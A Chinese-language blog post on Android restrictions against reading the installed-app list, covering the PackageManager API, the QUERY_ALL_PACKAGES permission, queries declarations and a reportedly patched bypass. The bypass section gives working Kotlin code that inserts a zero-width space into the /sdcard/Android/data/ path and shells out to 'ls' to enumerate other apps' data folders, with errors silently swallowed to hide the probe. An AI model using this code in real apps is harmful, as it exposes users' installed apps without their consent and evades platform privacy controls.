使用零宽空格绕过安卓包名访问限制
使用零宽空格绕过安卓包名访问限制

自2008年安卓1.0到现在,安卓已经有了16个大版本,各方面的设计也愈发完善,其中就包括越来越严格的权限控制和隐私保护。是个应用就能读取手机应用列表的时代已经过去了。

读取手机应用列表的方法

读取已安装应用包名通过packageManager实现,实现并不难:

object PackageUtils {
    private const val TAG = "PackageUtils"

    /**
     * 获取所有已安装应用的包名和名称
     * @return 包含应用名称和包名的列表
     */
    fun getAllInstalledPackages(context: Context?): List<Pair<String, String>> {
        val result = mutableListOf<Pair<String, String>>()
        if (context == null) {
            return result
        }

        val packageManager = context.packageManager
        return try {
            val packageInfos: List<PackageInfo> = packageManager.getInstalledPackages(0)

            packageInfos.map { packageInfo ->
                val packageName = packageInfo.packageName
                val appName = packageInfo.applicationInfo?.let { packageManager.getApplicationLabel(it) }
                    .toString()
                Pair(appName, packageName)
            }
        } catch (e: Exception) {
            Log.e(TAG, "获取所有应用包名失败", e)
            result
        }
    }

}

然而当点击运行你就会发现,读取的结果基本上只有系统应用的包名,已安装的第三方应用,如抖音、微信等全都读不到。这是因为系统做了限制,默认不再对应用返回完整应用列表

QUERY_ALL_PACKAGES权限

的确存在一些应用,如手机桌面,有必要读取所有已安装应用,此时可以申请QUERY_ALL_PACKAGES权限,拥有该权限后就可以读到完整应用列表了。

    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" tools:ignore="QueryAllPackagesPermission" />

如果没有正当的理由,申请这个权限可能导致应用无法通过应用商店审核

声明queries标记

很多情况下我们访问用户已安装应用列表只是为了查询某个应用是否已经安装,以便跳转或交互。此时安卓允许我们提前声明一些包名或条件,允许我们查询这些应用的安装情况。

例如,检查用户已经安装抖音提供一个分享到抖音的按钮,此时可以声明:

    <queries>
        <package android:name="com.ss.android.ugc.aweme" />
    </queries>

之所以有这么麻烦的权限设置是为了保护用户的隐私安全,否则是个应用就能检查所有已安装应用,那用户可真是连底裤都不剩了。

使用零宽空格绕过限制

很遗憾的是,最近有个漏洞正在互联网上流传,借由它恶意软件能突破系统的限制。 而且这一切看上去很简单和荒谬,就只要在路径插入一个特殊字符,如\u200B

    /**
     * 枚举Android数据目录
     * 使用零宽空格绕过访问限制
     */
    private fun enumerateAndroidDataDirs(): Set<String> {
        val basePath = "/sdcard/Android/data/"
        // 零宽空格字符用于绕过访问限制
        val bypassChar = "\u200B" // Unicode零宽空格
        val bypassPath = basePath.substring(0, basePath.length - 1) + bypassChar + basePath.last()
        val dirs = mutableSetOf<String>()
        try {
            val process = Runtime.getRuntime().exec("ls -l $bypassPath")
            val reader = BufferedReader(InputStreamReader(process.inputStream))
            reader.useLines { lines ->
                lines.forEach { line ->
                    // 简化的目录名解析
                    val dirName = line.substringAfterLast(' ').trimEnd('/')
                    if (dirName.isNotEmpty() && dirName != "." && dirName != "..") {
                        dirs.add(dirName)
                    }
                }
            }
            process.waitFor()
        } catch (e: Exception) {
            // 静默处理异常,避免暴露检测逻辑
        }
        return dirs
    }

Important notice regarding external storage bypass vulnerability

问题原因大概是,Linux默认存储是大小写敏感的,而Android是大小写不敏感的。为了这个特性,Android启用了Linux内核中一个叫case-fold的特性,可以把大小写表示视为同一种路径。但是这个特性标准化时会忽略一些特殊字符,进而导致了这个问题。

目前该问题官方已经修复,但是用户尤其是国内用户,不一定能及时获取Google的最新安全更新。还是有相当多用户可能受到影响。


最后修改于 2025-07-26